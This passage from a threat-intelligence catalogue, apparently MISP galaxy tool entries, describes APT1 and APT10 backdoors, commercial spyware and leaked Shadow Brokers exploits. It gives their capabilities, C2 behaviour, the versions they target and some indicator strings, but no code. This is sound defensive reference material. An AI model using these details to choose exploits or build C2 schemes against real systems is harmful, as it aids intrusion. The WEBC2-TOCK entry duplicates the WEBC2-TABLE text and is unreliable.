capabilities. This family is designed to be a service DLL and does not contain an
installation mechanism. It usually communicates over port 443. Some variants use their
own encryption, others use SSL.
```

The tag is: *misp-galaxy:tool="HACKFASE"*

Table 7304. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HELAUTO

```
This family of malware is designed to operate as a service and provides remote command
execution and file transfer capabilities to a fixed IP address or domain name. All
communication with the C2 server happens over port 443 using SSL. This family can be
installed as a service DLL. Some variants allow for uninstallation.
```

The tag is: *misp-galaxy:tool="HELAUTO"*

Table 7305. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

KURTON

This family of malware is a backdoor that tunnels its connection through a preconfigured proxy. The malware communicates with a remote command and control server over HTTPS via the proxy. The malware installs itself as a Windows service with a service name supplied by the attacker but defaults to IPRIP if no service name is provided during install.

The tag is: *misp-galaxy:tool="KURTON"*

Table 7306. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTBOLT

LIGHTBOLT is a utility with the ability to perform HTTP GET requests for a list of user-specified URLs. The responses of the HTTP requests are then saved as MHTML files, which are added to encrypted RAR files. LIGHTBOLT has the ability to use software certificates for authentication.

The tag is: *misp-galaxy:tool="LIGHTBOLT"*

Table 7307. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LIGHTDART

LIGHTDART is a tool used to access a pre-configured web page that hosts an interface to query a database or data set. The tool then downloads the results of a query against that web page to an encrypted RAR file. This RAR file (1.rar) is renamed and uploaded to an attacker controlled FTP server, or uploaded via an HTTP POST with a .jpg extension. The malware will execute this search once a day. The target webpage usually contains information useful to the attacker, which is updated on a regular basis. Examples of targeted information include weather information or ship coordinates.

The tag is: *misp-galaxy:tool="LIGHTDART"*

Table 7308. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

LONGRUN

LONGRUN is a backdoor designed to communicate with a hard-coded IP address and provide the attackers with a custom interactive shell. It supports file uploads and downloads, and executing arbitrary commands on the compromised machine. When LONGRUN executes, it first loads configuration data stored as an obfuscated string inside the PE resource section. The distinctive string thequickbrownfxjmpsvalzydg is used as part of the input to the decoding algorithm. When the configuration data string is decoded it is parsed and treated as an IP and port number. The malware then connects to the host and begins interacting with it over a custom protocol.

The tag is: *misp-galaxy:tool="LONGRUN"*

Table 7309. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MANITSME

This family of malware will beacon out at random intervals to the remote attacker. The attacker can run programs, execute arbitrary commands, and easily upload and download files. This IOC looks for both the dropper file and the backdoor.

The tag is: *misp-galaxy:tool="MANITSME"*

Table 7310. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

MAPIGET

This malware utility is a set of two files that operate in conjunction to extract email messages and attachments from an Exchange server. In order to operate successfully, these programs require authentication credentials for a user on the Exchange server, and must be run from a machine joined to the domain that has Microsoft Outlook installed (or equivalent software that provides the Microsoft 'Messaging API' (MAPI) service).

The tag is: *misp-galaxy:tool="MAPIGET"*

Table 7311. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html
http://contagiodump.blogspot.com/2010/06/these-days-i-see-spike-in-number-of.html

MINIASP

This family of malware consists of backdoors that attempt to fetch encoded commands over HTTP. The malware is capable of downloading a file, downloading and executing a file, executing arbitrary shell commands, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="MINIASP"*

Table 7312. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

NEWSREELS

The NEWSREELS malware family is an HTTP based backdoor. When first started, NEWSREELS decodes two strings from its resources section. These strings are both used as C2 channels, one URL is used as a beacon URL (transmitting) and the second URL is used to get commands (receiving). The NEWSREELS malware family is capable of performing file uploads, downloads, creating processes or creating an interactive reverse shell.

The tag is: *misp-galaxy:tool="NEWSREELS"*

Table 7313. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SEASALT

The SEASALT malware family communicates via a custom binary protocol. It is capable of gathering some basic system information, file system manipulation, file upload and download, process creation and termination, and spawning an interactive reverse shell. The malware maintains persistence by installing itself as a service.

The tag is: *misp-galaxy:tool="SEASALT"*

Table 7314. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

STARSYPOUND

STARSYPOUND provides an interactive remote shell over an obfuscated communications channel. When it is first run, it loads a string (from the executable PE resource section) containing the beacon IP address and port. The malware sends the beacon string "**(SY)# <HOSTNAME>" to the remote system, where <HOSTNAME> is the hostname of the victim system. The remote host**

responds with a packet that also begins with the string "(SY)# cmd". This causes the malware to launch a new cmd.exe child process. Further communications are forwarded to the cmd.exe child process to execute. The commands sent to the shell and their responses are obfuscated when sent over the network.

The tag is: *misp-galaxy:tool="STARSYPOUND"*

Table 7315. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

SWORD

This family of malware provides a backdoor over the network to the attackers. It is configured to connect to a single host and offers file download over HTTP, program execution, and arbitrary execution of commands through a cmd.exe instance.

The tag is: *misp-galaxy:tool="SWORD"*

Table 7316. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TABMSGSQL

```
This malware family is a full-featured backdoor capable of file uploading and
downloading, arbitrary execution of programs, and providing a remote interactive
command shell. All communications with the C2 server are sent over HTTP to a static
URL, appending various URL parameters to the request. Some variants use a slightly
different URL.
```

The tag is: *misp-galaxy:tool="TABMSGSQL"*

TABMSGSQL is also known as:

- TROJAN LETSGO

Table 7317. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-ECLIPSE

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2

DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-ECLIPSE family is distinguished by the presence of 'eclipse' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-ECLIPSE"*

Table 7318. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

TARSIP-MOON

The TARSIP malware family is a backdoor which communicates over encoded information in HTTPS headers. Typical TARSIP malware samples will only beacon out to their C2 servers if the C2 DNS address resolves to a specific address. The capability of TARSIP backdoors includes file uploading, file downloading, interactive command shells, process enumeration, process creation, process termination. The TARSIP-MOON family is distinguished by the presence of 'moon' in .pdb debug strings present in the malware samples. It does not provide a built in mechanism to maintain persistence.

The tag is: *misp-galaxy:tool="TARSIP-MOON"*

Table 7319. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WARP

The WARP malware family is an HTTP based backdoor written in C++, and the majority of its code base is borrowed from source code available in the public domain. Network communications are implemented using the same WWW client library (w3c.cpp) available from www.dankrusi.com/file_69653F3336383837.html. The malware has system survey functionality (collects hostname, current user, system uptime, CPU speed, etc.) taken directly from the BO2K backdoor available from www.bo2k.com. It also contains the hard disk identification code found at www.winsim.com/diskid32/diskid32.cpp. When the WARP executing remote commands, the malware creates a copy of the ?%SYSTEMROOT%\system32\cmd.exe? file as '%USERPROFILE%\Temp\~ISUN32.EXE'. The version signature information of the duplicate executable is zeroed out. Some WARP variants maintain persistence through the use of DLL search order hijacking.

The tag is: *misp-galaxy:tool="WARP"*

Table 7320. Table References

Links

http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-ADSPACE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware is capable of downloading and executing a file. All variants represented here are the same file with different MD5 signatures. This malware attempts to contact its C2 once a week (Thursday at 10:00 AM). It looks for commands inside a set of HTML tags, part of which are in the File Strings indicator term below.

The tag is: *misp-galaxy:tool="WEBC2-ADSPACE"*

Table 7321. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-AUSOV

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware family is a only a downloader which operates over the HTTP protocol with a hard-coded URL. If directed, it has the capability to download, decompress, and execute compressed binaries.

The tag is: *misp-galaxy:tool="WEBC2-AUSOV"*

Table 7322. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-BOLID

```
A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server.
It expects the Web page to contain special HTML tags; the backdoor will attempt to
interpret the data between the tags as commands. This family of malware is a backdoor
capable of downloading files and updating its configuration. Communication with the
command and control (C2) server uses a combination of single-byte XOR and Base64
encoded data wrapped in standard HTML tags. The malware family installs a registry key
as a persistence mechanism.
```

The tag is: *misp-galaxy:tool="WEBC2-BOLID"*

Table 7323. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CLOVER

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The family of malware provides the attacker with an interactive command shell, the ability to upload and download files, execute commands on the system, list processes and DLLs, kill processes, and ping hosts on the local network. Responses to these commands are encrypted and compressed before being POSTed to the server. Some variants copy cmd.exe to Updatasched.exe in a temporary directory, and then may launch that in a process if an interactive shell is called. On initial invocation, the malware also attempts to delete previous copies of the Updatasched.exe file.

The tag is: *misp-galaxy:tool="WEBC2-CLOVER"*

Table 7324. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-CSON

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware act only as downloaders and droppers for other malware. They communicate with a hard-coded C2 server, reading commands embedded in HTML comment fields. Some variants are executables which act upon execution, others are DLLs which can be attached to services or loaded through search order hijacking.

The tag is: *misp-galaxy:tool="WEBC2-CSON"*

Table 7325. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-DIV

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-DIV variant searches for the strings "div safe:" and " balance" to delimit encoded C2 information. If the decoded string begins with the letter "J" the malware will parse additional arguments in the decoded string to specify the sleep interval to use. WEBC2-DIV is capable of downloading a file, downloading and executing a file, or sleeping a specified interval.

The tag is: *misp-galaxy:tool="WEBC2-DIV"*

Table 7326. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-GREENCAT

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This malware is a variant on the GREENCAT family, using a fixed web C2. This family is a full featured backdoor which provides remote command execution, file transfer, process and service enumeration and manipulation. It installs itself persistently through the current user's registry Run key.

The tag is: *misp-galaxy:tool="WEBC2-GREENCAT"*

Table 7327. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-HEAD

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-HEAD variant communicates over HTTPS, using the system's SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string containing the name of the compromised machine running the malware.

The tag is: *misp-galaxy:tool="WEBC2-HEAD"*

Table 7328. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-KT3

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-KT3 variant searches for commands in a specific comment tag. Network traffic starting with *!Kt3+v| may indicate WEBC2-KT3 activity.

The tag is: *misp-galaxy:tool="WEBC2-KT3"*

Table 7329. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-QBP

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-QBP variant will search for two strings in a HTML comment. The first will be "2010QBP " followed by " 2010QBP//--". Inside these tags will be a DES-encrypted string.

The tag is: *misp-galaxy:tool="WEBC2-QBP"*

Table 7330. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-RAVE

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. This family of malware will set itself up as a service and connect out to a hardcoded web page and read a modified base64 string from this webpage. The later versions of this malware supports three commands (earlier ones are just downloaders or reverse shells). The first commands will sleep the malware for N number of hours. The second command will download a binary from the encoded HTML comment and execute it on the infected host. The third will spawn an encoded reverse shell to an attacker specified location and port.

The tag is: *misp-galaxy:tool="WEBC2-RAVE"*

Table 7331. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TABLE

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TABLE"*

Table 7332. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-TOCK

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-TABLE variant looks for web pages containing 'background', 'align', and 'bgcolor' tags to be present in the requested Web page. If the data in these tags are formatted correctly, the malware will decode a second URL and a filename. This URL is then retrieved, written to the decoded filename and executed.

The tag is: *misp-galaxy:tool="WEBC2-TOCK"*

Table 7333. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-UGX

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of malware provide remote command shell and remote file download and execution capabilities. The malware downloads a web page containing a crafted HTML comment that subsequently contains an encoded command. The contents of this command tell the malware whether to download and execute a program, launch a reverse shell to a specific host and port number, or to sleep for a period of time.

The tag is: *misp-galaxy:tool="WEBC2-UGX"*

Table 7334. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-Y21K

A WEBC2 backdoor is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. Members of this family of backdoor malware talk to specific Web-based Command & Control (C2) servers. The backdoor has a limited command set, depending on version. It is primarily a downloader, but it classified as a backdoor because it can accept a limited command set, including changing local directories, downloading and executing additional files, sleeping, and connecting to a specific IP & port not initially included in the instruction set for the malware. Each version of the malware has at least one hardcoded URL to which it connects to receive its initial commands. This family of malware installs itself as a service, with the malware either being the executable run by the service, or the service DLL loaded by a legitimate service. The same core code is seen recompiled on different dates or with different names, but the same functionality. Key signatures include a specific set of functions (some of which can be used with the OS-provided rundll32.exe tool to install the malware as a service), and hardcoded strings used in communication with C2 servers to issue commands to the implant.

The tag is: *misp-galaxy:tool="WEBC2-Y21K"*

Table 7335. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

WEBC2-YAHOO

The WEBC2 malware family is designed to retrieve a Web page from a pre-determined C2 server. It expects the Web page to contain special HTML tags; the backdoor will attempt to interpret the data between the tags as commands. The WEBC2-YAHOO variant enters a loop where every ten minutes it attempts to download a web page that may contain an encoded URL. The encoded URL will be found in the pages returned inside an attribute named 'sb' or 'ex' within a tag named 'yahoo'. The embedded link can direct the malware to download and execute files.

The tag is: *misp-galaxy:tool="WEBC2-YAHOO"*

Table 7336. Table References

Links
http://contagiodump.blogspot.lu/2013/03/mandiant-apt1-samples-categorized-by.html

HAYMAKER

HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It also conducts basic victim profiling activity, collecting the computer name, running process IDs, %TEMP% directory path and version of Internet Explorer. It communicates encoded system information to a single hard coded command and control (C2) server, using the system's default User-Agent string.

The tag is: *misp-galaxy:tool="HAYMAKER"*

View relationships graph

HAYMAKER has relationships with:

- similar: misp-galaxy:mitre-malware="ChChes - S0144" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"

Table 7337. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

BUGJUICE

BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload. BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell.

The tag is: *misp-galaxy:tool="BUGJUICE"*

View relationships graph

BUGJUICE has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 7338. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

SNUGRIDE

SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. Messages are encrypted using AES with a static key. The malware's capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell. Persistence is maintained through a Run registry key.

The tag is: *misp-galaxy:tool="SNUGRIDE"*

View relationships graph

SNUGRIDE has relationships with:

- similar: misp-galaxy:mitre-malware="SNUGRIDE - S0159" with estimative-language:likelihood-probability="likely"

Table 7339. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

QUASARRAT

QUASARRAT is an open-source RAT available at https://github.com/quasar/QuasarRat . The versions used by APT10 (1.3.4.0, 2.0.0.0, and 2.0.0.1) are not available via the public GitHub page, indicating that APT10 has further customized the open source version. The 2.0 versions require a dropper to decipher and launch the AES encrypted QUASARRAT payload. QUASARRAT is a fully functional .NET backdoor that has been used by multiple cyber espionage groups in the past.

The tag is: *misp-galaxy:tool="QUASARRAT"*

Table 7340. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/

da Vinci RCS

Hacking Team's "DaVinci" Remote Control System is able, the company says, to break encryption and allow law enforcement agencies to monitor encrypted files and emails (even ones encrypted with PGP), Skype and other Voice over IP or chat communication. It allows identification of the target's location and relationships. It can also remotely activate microphones and cameras on a computer and works worldwide. Hacking Team claims that its software is able to monitor hundreds of thousands of computers at once, all over the country. Trojans are available for Windows, Mac, Linux, iOS, Android, Symbian and Blackberry.

The tag is: *misp-galaxy:tool="da Vinci RCS"*

da Vinci RCS is also known as:

- DaVinci
- Morcut

Table 7341. Table References

Links
http://surveillance.rsf.org/en/hacking-team/
https://wikileaks.org/hackingteam/emails/fileid/581640/267803
https://wikileaks.org/hackingteam/emails/emailid/31436

LATENTBOT

LATENTBOT, a new, highly obfuscated BOT that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.

The tag is: *misp-galaxy:tool="LATENTBOT"*

Table 7342. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: *misp-galaxy:tool="FINSPY"*

FINSPY is also known as:

- BlackOasis

View relationships graph

FINSPY has relationships with:

- similar: misp-galaxy:rat="FINSPY" with estimative-language:likelihood-probability="likely"

Table 7343. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

RCS Galileo

HackingTeam Remote Control System (RCS) Galileo hacking platform

The tag is: *misp-galaxy:tool="RCS Galileo"*

Table 7344. Table References

Links
https://www.f-secure.com/documents/996508/1030745/callisto-group

EARLYSHOVEL

RedHat 7.0 - 7.1 Sendmail 8.11.x exploit

The tag is: *misp-galaxy:tool="EARLYSHOVEL"*

Table 7345. Table References

Links
https://github.com/misterch0c/shadowbroker

EBBISLAND (EBBSHAVE)

root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9 & 10 (possibly newer) both SPARC and x86

The tag is: *misp-galaxy:tool="EBBISLAND (EBBSHAVE)"*

Table 7346. Table References

Links
https://github.com/misterch0c/shadowbroker

ECHOWRECKER

remote Samba 3.0.x Linux exploit

The tag is: *misp-galaxy:tool="ECHOWRECKER"*

Table 7347. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYBEE

appears to be an MDaemon email server vulnerability

The tag is: *misp-galaxy:tool="EASYBEE"*

Table 7348. Table References

Links
https://github.com/misterch0c/shadowbroker

EASYPI

an IBM Lotus Notes exploit that gets detected as Stuxnet

The tag is: *misp-galaxy:tool="EASYPI"*

Table 7349. Table References

Links
https://github.com/misterch0c/shadowbroker

EWOKFRENZY

an exploit for IBM Lotus Domino 6.5.4 & 7.0.2

The tag is: *misp-galaxy:tool="EWOKFRENZY"*

Table 7350. Table References

Links
https://github.com/misterch0c/shadowbroker

EXPLODINGCAN

an IIS 6.0 exploit that creates a remote backdoor

The tag is: *misp-galaxy:tool="EXPLODINGCAN"*

Table 7351. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALROMANCE

a SMB1 exploit over TCP port 445 which targets XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALROMANCE"*

Table 7352. Table References

Links
https://github.com/misterch0c/shadowbroker

EDUCATEDSCHOLAR

a SMB exploit (MS09-050)

The tag is: *misp-galaxy:tool="EDUCATEDSCHOLAR"*

Table 7353. Table References

Links
https://github.com/misterch0c/shadowbroker

EMERALDTHREAD

a SMB exploit for Windows XP and Server 2003 (MS10-061)

The tag is: *misp-galaxy:tool="EMERALDTHREAD"*

Table 7354. Table References

Links
https://github.com/misterch0c/shadowbroker

EMPHASISMINE

a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2

The tag is: *misp-galaxy:tool="EMPHASISMINE"*

Table 7355. Table References

Links
https://github.com/misterch0c/shadowbroker

ENGLISHMANSDENTIST

Outlook Exchange WebAccess rules to trigger executable code on the client's side to send an email to other users

The tag is: *misp-galaxy:tool="ENGLISHMANSDENTIST"*

Table 7356. Table References

Links
https://github.com/misterch0c/shadowbroker

EPICHERO

0-day exploit (RCE) for Avaya Call Server

The tag is: *misp-galaxy:tool="EPICHERO"*

Table 7357. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHER

SMBv1 exploit targeting Windows XP and Server 2003

The tag is: *misp-galaxy:tool="ERRATICGOPHER"*

Table 7358. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALSYNERGY

a SMBv3 remote code execution flaw for Windows 8 and Server 2012 SP0 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALSYNERGY"*

Table 7359. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALBLUE

SMBv2 exploit for Windows 7 SP1 (MS17-010)

The tag is: *misp-galaxy:tool="ETERNALBLUE"*

Table 7360. Table References

Links
https://github.com/misterch0c/shadowbroker

ETERNALCHAMPION

a SMBv1 exploit

The tag is: *misp-galaxy:tool="ETERNALCHAMPION"*

Table 7361. Table References

Links
https://github.com/misterch0c/shadowbroker

ESKIMOROLL

Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2 domain controllers

The tag is: *misp-galaxy:tool="ESKIMOROLL"*

Table 7362. Table References

Links
https://github.com/misterch0c/shadowbroker

ESTEEMAUDIT

RDP exploit and backdoor for Windows Server 2003

The tag is: *misp-galaxy:tool="ESTEEMAUDIT"*

Table 7363. Table References

Links
https://github.com/misterch0c/shadowbroker

ECLIPSEDWING

RCE exploit for the Server service in Windows Server 2008 and later (MS08-067)

The tag is: *misp-galaxy:tool="ECLIPSEDWING"*

Table 7364. Table References

Links
https://github.com/misterch0c/shadowbroker

ETRE

exploit for IMail 8.10 to 8.22

The tag is: *misp-galaxy:tool="ETRE"*

Table 7365. Table References

Links
https://github.com/misterch0c/shadowbroker

FUZZBUNCH

an exploit framework, similar to MetaSploit

The tag is: *misp-galaxy:tool="FUZZBUNCH"*

Table 7366. Table References

Links

https://securelist.com/darkpulsar/88199/
https://github.com/misterch0c/shadowbroker

ODDJOB

implant builder and C&C server that can deliver exploits for Windows 2000 and later, also not detected by any AV vendors

The tag is: *misp-galaxy:tool="ODDJOB"*

Table 7367. Table References

Links
https://github.com/misterch0c/shadowbroker

PASSFREELY

utility which Bypasses authentication for Oracle servers

The tag is: *misp-galaxy:tool="PASSFREELY"*

Table 7368. Table References

Links
https://github.com/misterch0c/shadowbroker

SMBTOUCH

check if the target is vulnerable to samba exploits like ETERNALSYNERGY, ETERNALBLUE, ETERNALROMANCE

The tag is: *misp-galaxy:tool="SMBTOUCH"*

Table 7369. Table References

Links
https://github.com/misterch0c/shadowbroker

ERRATICGOPHERTOUCH

Check if the target is running some RPC

The tag is: *misp-galaxy:tool="ERRATICGOPHERTOUCH"*

Table 7370. Table References

Links
https://github.com/misterch0c/shadowbroker

IISTOUCH

check if the running IIS version is vulnerable

The tag is: *misp-galaxy:tool="IISTOUCH"*

Table 7371. Table References

Links
https://github.com/misterch0c/shadowbroker

RPCOUTCH

get info about windows via RPC

The tag is: *misp-galaxy:tool="RPCOUTCH"*

Table 7372. Table References

Links
https://github.com/misterch0c/shadowbroker

DOPU

used to connect to machines exploited by ETERNALCHAMPIONS

The tag is: *misp-galaxy:tool="DOPU"*

Table 7373. Table References

Links
https://github.com/misterch0c/shadowbroker

FlexSpy

covert surveillance tools

The tag is: *misp-galaxy:tool="FlexSpy"*

feodo

Unfortunately, it is time to meet 'Feodo'. Since august of this year when FireEye's MPS devices detected this malware in the field, we have been monitoring this banking trojan very closely. In many ways, this malware looks similar to other famous banking trojans like Zbot and SpyEye. Although my analysis says that this malware is not a toolkit and is in the hands of a single criminal group.

The tag is: *misp-galaxy:tool="feodo"*

Table 7374. Table References

Links
https://www.fireeye.com/blog/threat-research/2010/10/feodosoff-a-new-botnet-on-the-rise.html

Cardinal RAT

Palo Alto Networks has discovered a previously unknown remote access Trojan (RAT) that has been active for over two years. It has a very low volume in this two-year period, totaling roughly 27 total samples. The malware is delivered via an innovative and unique technique: a downloader we are calling Carp uses malicious macros in Microsoft Excel documents to compile embedded C# (C Sharp) Programming Language source code into an executable that in turn is run to deploy the Cardinal RAT malware family. These malicious Excel files use a number of different lures, providing evidence of what attackers are using to entice victims into executing them.

The tag is: *misp-galaxy:tool="Cardinal RAT"*

View relationships graph

Cardinal RAT has relationships with:

- similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

Table 7375. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

REDLEAVES

The REDLEAVES implant consists of three parts: an executable, a loader, and the implant shellcode. The REDLEAVES implant is a remote administration Trojan (RAT) that is built in Visual C++ and makes heavy use of thread generation during its execution. The implant contains a number of functions typical of RATs, including system enumeration and creating a remote shell back to the C2.

The tag is: *misp-galaxy:tool="REDLEAVES"*

Table 7376. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA17-117A

Kazuar

Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx. Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan’s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations.

The tag is: *misp-galaxy:tool="Kazuar"*

View relationships graph

Kazuar has relationships with:

